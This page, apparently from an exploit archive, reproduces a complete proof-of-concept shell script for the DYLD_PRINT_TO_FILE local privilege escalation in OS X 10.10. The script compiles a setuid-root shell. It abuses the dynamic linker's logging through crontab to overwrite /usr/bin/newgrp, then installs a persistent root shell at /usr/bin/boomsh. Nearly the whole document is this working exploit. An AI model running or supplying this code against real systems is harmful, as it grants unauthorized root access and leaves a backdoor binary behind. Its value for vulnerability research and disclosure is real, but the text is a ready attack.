Home / exploits

PDF

OS X 10.10 DYLD_PRINT_TO_FILE Privilege Escalation

Posted on 23 July 2015

#!/bin/sh
#
# Simple Proof of Concept Exploit for the DYLD_PRINT_TO_FILE
# local privilege escalation vulnerability in OS X 10.10 - 10.10.4
#
# (C) Copyright 2015 Stefan Esser <stefan.esser@sektioneins.de>
#
# Wait months for a fix from Apple or install the following KEXT as protection
# https://github.com/sektioneins/SUIDGuard
#
# Use at your own risk. This copies files around with root permissions,
# overwrites them and deletes them afterwards. Any glitch could corrupt your
# system. So you have been warned.

SUIDVICTIM=/usr/bin/newgrp

# why even try to prevent a race condition?
TARGET=`pwd`/tmpXXXXX

rm -rf $TARGET
mkdir $TARGET

cat << EOF > $TARGET/boomsh.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main()
{
 setuid(0);
 setgid(0);
 system("/bin/bash -i");
 printf("done.
");
 return 0;
}
EOF
cat << EOF > $TARGET/overwrite.c
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>

int main(int argc, char **argv)
{
 int fd;
 char buffer[1024];
 ssize_t toread, numread;
 ssize_t numwritten;
 ssize_t size;

 /* disable O_APPEND */
 fcntl(3, F_SETFL, 0);
 lseek(3, 0, SEEK_SET);

 /* write file into it */
 fd = open(
EOF
echo ""$TARGET/boomsh"" >> $TARGET/overwrite.c
cat << EOF >> $TARGET/overwrite.c
 , O_RDONLY, 0);
 if (fd > 0) {

 /* determine size */
 size = lseek(fd, 0, SEEK_END);
 lseek(fd, 0, SEEK_SET);

 while (size > 0) {
 if (size > sizeof(buffer)) {
 toread = sizeof(buffer);
 } else {
 toread = size;
 }

 numread = read(fd, &buffer, toread);
 if (numread < toread) {
 fprintf(stderr, "problem reading
");
 _exit(2);
 }
 numwritten = write(3, &buffer, numread);
 if (numread != numwritten) {
 fprintf(stderr, "problem writing
");
 _exit(2);
 }

 size -= numwritten;

 }

 fsync(3);
 close(fd);
 } else {
 fprintf(stderr, "Cannot open for reading
");
 }

 return 0;
}
EOF

cp $SUIDVICTIM $TARGET/backup
gcc -o $TARGET/overwrite $TARGET/overwrite.c
gcc -o $TARGET/boomsh $TARGET/boomsh.c

EDITOR=$TARGET/overwrite DYLD_PRINT_TO_FILE=$SUIDVICTIM crontab -e 2> /dev/null
echo "cp $TARGET/boomsh /usr/bin/boomsh; chmod 04755 /usr/bin/boomsh " | $SUIDVICTIM > /dev/null 2> /dev/null
echo "cp $TARGET/backup $SUIDVICTIM" | /usr/bin/boomsh > /dev/null 2> /dev/null

rm -rf $TARGET

/usr/bin/boomsh

 

TOP